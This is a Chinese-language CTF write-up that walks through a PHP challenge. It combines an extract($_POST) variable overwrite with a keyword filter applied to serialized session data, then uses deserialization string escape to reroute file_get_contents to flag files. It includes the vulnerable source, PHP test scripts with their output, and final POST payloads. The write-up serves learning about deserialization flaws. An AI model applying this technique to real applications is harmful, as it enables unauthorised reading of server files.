源码:
<?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
?>
分析1:
将’php’,‘flag’,‘php5’,‘php4’,'fl1g’等字符串置空
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
分析2:
if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);
等价于:
extract($_POST);
无论输入什么都会被重置
分析3:
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
按代码顺序,无论输入什么,后面都会添加一个$_SESSION[‘img’]
分析4:
if($function == 'highlight_file'){//本页面highlight_file('index.php');
}else if($function == 'phpinfo'){//hinteval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){//flag所在$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
知识点1:
extract()函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
知识点2:
反序列化的字符串会进行以下规则校验:
- 以 ; 作为字段分隔
- 以 } 作为结尾(字符串以 ;} 结尾)
- 根据长度判断内容
因此我们可以利用过滤的字符串长度,逃逸,提前闭合。
解题步骤1:
传参f=phpinfo
,发现重要线索。
也就是说需要传入d0g3_f1ag.php
,即需要显示的页面。
解题步骤2:
构造需要逃逸的内容
<?php
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');
$a=serialize($_SESSION);
var_dump($a);
?>
结果:
string(44) "a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
将无用的值去除
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
添加前一个键的值,该值任意
;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
解题步骤3:
加上任意键
<?php
$_SESSION['a']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$a=serialize($_SESSION);
var_dump($a);
?>
结果:
string(70) "a:1:{s:1:"a";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}"
如果键被过滤置空,需要将";s:48:
7个字符当成键,所以应当使键向后取7个字符
即键应当被过滤7个字符,任意组合phpflag,phpfl1g等等都可。
解题步骤4:
进行过滤逃逸测试
<?phpfunction filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$_SESSION['phpfl1g']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$a=serialize($_SESSION);
var_dump($a);
var_dump(unserialize($a));
$b=filter($a);
var_dump($b);
var_dump(unserialize($b));
?>
结果:
string(114) "a:2:{s:7:"phpfl1g";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {'phpfl1g' =>string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"'img' =>string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
array(2) {'";s:48:' =>string(1) "1"'img' =>string(20) "ZDBnM19mMWFnLnBocA=="
}
解题步骤5:
构造playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看网页源代码
解题步骤6:
将需要传入的页面替换成/d0g3_fllllllag
只需将上述过程再来一遍即可。
最后发现也可以直接替换base64加密后的字符串即可
playload:
_SESSION['phpfl1g']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}